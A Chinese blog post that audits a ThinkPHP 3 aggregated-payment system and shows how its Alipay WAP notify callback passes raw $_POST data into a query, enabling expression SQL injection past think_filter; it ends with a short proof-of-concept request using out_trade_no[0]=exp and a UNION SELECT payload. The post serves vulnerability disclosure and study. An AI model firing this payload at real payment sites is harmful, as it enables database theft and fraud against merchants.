TP聚合支付前台注入漏洞

释放双眼,带上耳机,听听看~!

很久没自己发过文章了,要么是找panda代发,要么就是自己懒得发,今天建党100周年就随便找一个自己的东西发一下了。


聚合支付常见总共分两个版本:

1.tp3
2.tp5

目前手里只有tp3的代码,如果有大佬有tp5的话可以发出来学习学习.对于这套代码怎么说呢,总体写的很不错+tp3.2.3自身的安全性其实也不错所有代码本身还是没有什么漏洞的。支付嘛。。。接口api出奇的多。

public function notifyurl()
    {
        $response  = $_POST;
        $sign      = $response['sign'];
        $sign_type = $response['sign_type'];
        $publiKey = getKey21($response["out_trade_no"]); // 密钥
        vendor('Alipay.aop.AopClient');
        vendor('Alipay.aop.SignData');
        vendor('Alipay.aop.request.AlipayTradeWapPayRequest');
        $aop = new \AopClient();
        $aop->alipayrsaPublicKey = $publiKey;
        $result = $aop->rsaCheckV1($response, $publiKey, $sign_type);
        if ($result) {
            if ($response['trade_status'] == 'TRADE_SUCCESS' || $response['trade_status'] == 'TRADE_FINISHED') {
                $this->EditMoney($response['out_trade_no'], '', 0);
                exit("success");
            }
        } else {
            exit('error:check sign Fail!');
        }

这里是聚合支付自带的一个aliwap支付接口,对异步通知使用$_POST这种危险方式

   protected function EditMoney($trans_id, $pay_name = '', $returntype = 1, $transaction_id = '')
    {

        $m_Order    = M("Order");
        $order_info = $m_Order->where(['pay_orderid' => $trans_id])->find(); //获取订单信息
        $userid     = intval($order_info["pay_memberid"] - 10000); // 商户ID
        $time       = time(); //当前

$trans_id可控并可以传入数组所以直接表达式注入。tp3虽然有针对表达式注入的think_filter

function think_filter(&$value){
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){
        $value .= ' ';
    }
}

但这种防护只应用在了tp自带的I函数上面所以这里因为$_POST这种方式导致了注入

poc:
/Pay_Aliwap_notifyurl.html

out_trade_no[0]=exp&out_trade_no[1]=1//UNION//SELECT

给TA买糖
共{{data.count}}人
人已赞赏
0day漏洞网络安全

Apache-Solr任意文件读取(附exp)

2021-10-14 22:23:22

代码审计网络安全

微擎 CMS:从 SQL 到 RCE

2021-10-14 22:42:02

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
今日签到
有新私信 私信列表
搜索